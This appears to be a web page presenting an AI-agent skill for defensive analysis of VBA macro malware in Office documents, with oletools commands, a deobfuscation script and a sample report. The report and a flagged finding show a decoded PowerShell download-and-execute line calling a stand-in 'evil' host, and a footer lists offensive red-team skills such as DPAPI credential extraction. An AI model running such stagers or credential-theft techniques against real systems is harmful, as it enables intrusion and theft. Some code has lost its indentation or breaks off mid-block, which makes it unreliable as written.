analyzing-macro-malware-in-office-documents skill
'Analyzes malicious VBA macros embedded in Microsoft Office documents
Is the analyzing-macro-malware-in-office-documents skill safe?
Read the findings before you install it. We read 4 files in the folder on 2026-09-28.
- high
SKILL.md:327Downloads a script and runs it in one step, so what runs is whatever that server sends that day. Common for installers, and still worth a look at the address.
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
Install the analyzing-macro-malware-in-office-documents skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills mkdir -p ~/.claude/skills cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/analyzing-macro-malware-in-office-documents ~/.claude/skills/analyzing-macro-malware-in-office-documents
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Analyzing Macro Malware in Office Documents
When to Use
- A suspicious Office document (.doc, .docm, .xls, .xlsm, .ppt) has been flagged by email security
- Investigating phishing campaigns that deliver weaponized Office documents
- Extracting VBA macro code to identify the payload download URL and execution method
- Analyzing obfuscated VBA code to understand the full attack chain
- Determining if a document uses DDE, ActiveX, or remote template injection instead of macros
Do not use for analyzing non-macro Office threats (DDE, remote template injection); while this skill covers detection of these, specialized analysis may be needed.
Prerequisites
- Python 3.8+ with oletools installed (pip install oletools)
- oledump.py from Didier Stevens (https://blog.didierstevens.com/programs/oledump-py/)
- Isolated analysis VM without Microsoft Office installed (prevents accidental execution)
- XLMDeobfuscator for Excel 4.0 macro analysis (pip install xlmdeobfuscator)
- LibreOffice for safe document rendering (does not execute VBA macros by default)
Workflow
Step 1: Initial Document Triage
Determine if the document contains macros or other active content:
# Quick triage with olevba
olevba suspect.docm
# Check for OLE streams and macros
oleid suspect.docm
# Output indicators:
# VBA Macros: True/False
# XLM Macros: True/False
# External Relationships: True/False (remote template)
# ObjectPool: True/False (embedded objects)
# Flash: True/False (SWF objects)
# Comprehensive OLE analysis
oledump.py suspect.docm
# List all OLE streams with macro indicators
# Streams marked with 'M' contain VBA macros
# Streams marked with 'm' contain macro attributesStep 2: Extract and Analyze VBA Code
Pull out the complete VBA macro source:
# Extract VBA with full deobfuscation
olevba --decode --deobf suspect.docm
# Extract just the VBA source code
olevba --code suspect.docm > extracted_vba.txt
# Detailed extraction with oledump
oledump.py -s 8 -v suspect.docm # Stream 8 (adjust based on stream listing)
# Extract all macro streams
oledump.py -p plugin_vba_dco suspect.docmKey VBA Elements to Identify:
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Auto-Execution Triggers:
- Auto_Open / AutoOpen (Word)
- Auto_Close / AutoClose
- Document_Open / Document_Close
- Workbook_Open (Excel)
- AutoExec
Suspicious Functions:
- Shell() / Shell.Application
- WScript.Shell.Run / Exec
- CreateObject("WScript.Shell")
- PowerShell execution
- URLDownloadToFile
- MSXML2.XMLHTTP (HTTP requests)
- ADODB.Stream (file writing)
- Environ() (environment variables)
- CallByName (indirect method calls)Step 3: Deobfuscate VBA Code
Remove obfuscation layers to reveal the payload:
# VBA deobfuscation techniques
import re
def deobfuscate_vba(code):
# 1. Resolve Chr() calls: Chr(104) & Chr(116) -> "ht"
def resolve_chr(match):
try:
return chr(int(match.group(1)))
except:
return match.group(0)
code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, code)
# 2. Remove string concatenation: "htt" & "p://" -> "http://"
code = re.sub(r'"\s*&\s*"', '', code)
# 3. Resolve ChrW calls: ChrW(104)
code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code)
# 4. Resolve StrReverse: StrReverse("exe.daolnwod") -> "download.exe"
def resolve_reverse(match):
return '"' + match.group(1)[::-1] + '"'
code = re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, code)
# 5. Remove Mid$/Left$/Right$ obfuscation (complex, mark for manual review)
# 6. Resolve Replace(): Replace("Powxershxell", "x", "")
def resolve_replace(match):
original = match.group(1)
find = match.group(2)
replace_with = match.group(3)
return '"' + original.replace(find, replace_with) + '"'
code = re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', resolve_replace, code)
return code
Step 4: Analyze Excel 4.0 (XLM) Macros
Handle legacy Excel macros that bypass VBA detection:
# Detect XLM macros
olevba --xlm suspect.xlsm
# Deobfuscate XLM macros
xlmdeobfuscator -f suspect.xlsm
# Manual XLM analysis with oledump
oledump.py suspect.xlsm -p plugin_biff.py
# XLM (Excel 4.0) macro functions to watch for:
# EXEC() - Execute shell command
# CALL() - Call DLL function
# REGISTER() - Register DLL function
# URLDownloadToFileA - Download file
# ALERT() - Display message (social engineering)
# HALT() - Stop execution
# GOTO() - Control flow
# IF() - Conditional executionStep 5: Check for Non-Macro Attack Vectors
Examine the document for DDE, remote templates, and embedded objects:
# Check for DDE (Dynamic Data Exchange)
python3 -c "
import zipfile
import xml.etree.ElementTree as ET
import re
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if name.endswith('.xml') or name.endswith('.rels'):
content = z.read(name).decode('utf-8', errors='ignore')
# DDE field codes
if 'DDEAUTO' in content or 'DDE ' in content:
print(f'[!] DDE found in {name}')
dde_match = re.findall(r'DDEAUTO[^\"]*\"([^\"]+)\"', content)
for m in dde_match:
print(f' Command: {m}')
# Remote template
if 'attachedTemplate' in content or 'Target=' in content:
urls = re.findall(r'Target=\"(https?://[^\"]+)\"', content)
for url in urls:
print(f'[!] Remote template URL: {url}')
"
# Check for embedded OLE objects
oledump.py -p plugin_msg.py suspect.docm
# Check relationships for external references
python3 -c "
import zipfile
z = zipfile.ZipFile('suspect.docx')
for name in z.namelist():
if '.rels' in name:
content = z.read(name).decode('utf-8', errors='ignore')
if 'http' in content.lower() or 'ftp' in content.lower():
Step 6: Generate Analysis Report
Document the complete macro malware analysis:
Report should include:
- Document metadata (author, creation date, modification date)
- Macro presence and type (VBA, XLM, DDE, remote template)
- Auto-execution trigger identified
- Deobfuscated VBA source code (key functions)
- Download URL(s) for second-stage payloads
- Execution method (Shell, WScript, PowerShell, COM object)
- Social engineering lure description
- Extracted IOCs (URLs, domains, IPs, file hashes)
- YARA rule for the specific document patternKey Concepts
Tools & Systems
- oletools (olevba): Python toolkit for analyzing OLE files, extracting VBA macros, and detecting suspicious keywords and IOCs
- oledump.py: Didier Stevens' tool for analyzing OLE streams with plugin support for VBA decompression and extraction
- XLMDeobfuscator: Tool specifically designed for deobfuscating Excel 4.0 (XLM) macro formulas
- ViperMonkey: VBA emulation engine that executes VBA macros in a sandboxed environment to observe behavior
- YARA: Pattern matching for document-based malware detection using VBA string patterns and OLE structure indicators
Common Scenarios
Scenario: Analyzing a Phishing Document with Obfuscated VBA Macros
Context: Multiple employees received an email with an attached .docm file claiming to be an invoice. The document prompts users to "Enable Content" to view the full document.
Approach:
- Run oleid to confirm VBA macros are present and identify auto-execution triggers
- Extract VBA code with olevba --decode --deobf for initial deobfuscation
- Identify the auto-execution entry point (AutoOpen or DocumentOpen)
- Trace the execution flow from the entry point through helper functions
- Deobfuscate string concatenation and Chr() encoding to reveal the download URL
- Identify the download method (WScript.Shell, MSXML2.XMLHTTP, PowerShell)
- Extract all IOCs and create YARA rules for the specific obfuscation pattern
Pitfalls:
- Opening the document in Microsoft Office for "quick analysis" instead of using command-line tools
- Missing VBA code stored in UserForms (GUI elements can contain code in their event handlers)
- Ignoring document metadata that may contain attacker fingerprints (author name, template name)
- Not checking for both VBA and XLM macros in the same document (some malware uses both)
Output Format
OFFICE MACRO MALWARE ANALYSIS
================================
Document: invoice_q3_2025.docm
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Type: Microsoft Word Document (OOXML with macros)
Author: Administrator
Creation Date: 2025-09-10 14:23:00
MACRO ANALYSIS
Type: VBA Macro
Trigger: AutoOpen()
Streams: 3 VBA streams (ThisDocument, Module1, Module2)
DEOBFUSCATED EXECUTION CHAIN
1. AutoOpen() -> Calls Module1.RunPayload()
2. RunPayload() builds command string via Chr() concatenation
3. Command: powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAA...
4. Decoded: IEX (New-Object Net.WebClient).DownloadString('hxxp://evil[.]com/payload.ps1')
SOCIAL ENGINEERING LURE
- Document displays fake "Protected Document" image
- Instructs user to "Enable Content" to view the document
- Content is blurred/hidden until macros execute
EXTRACTED IOCs
Download URL: hxxp://evil[.]com/payload.ps1
C2 Domain: evil[.]com
IP Address: 185.220.101[.]42
User-Agent: PowerShell (default WebClient)
MITRE ATT&CK
T1566.001 Phishing: Spearphishing Attachment
T1204.002 User Execution: Malicious File
T1059.001 CommandMore skills from mukul975/Anthropic-Cybersecurity-Skills
- Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
- Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
- Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
- Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
- Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
- Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
- Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
- Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
- Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
- Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
- Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
- Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.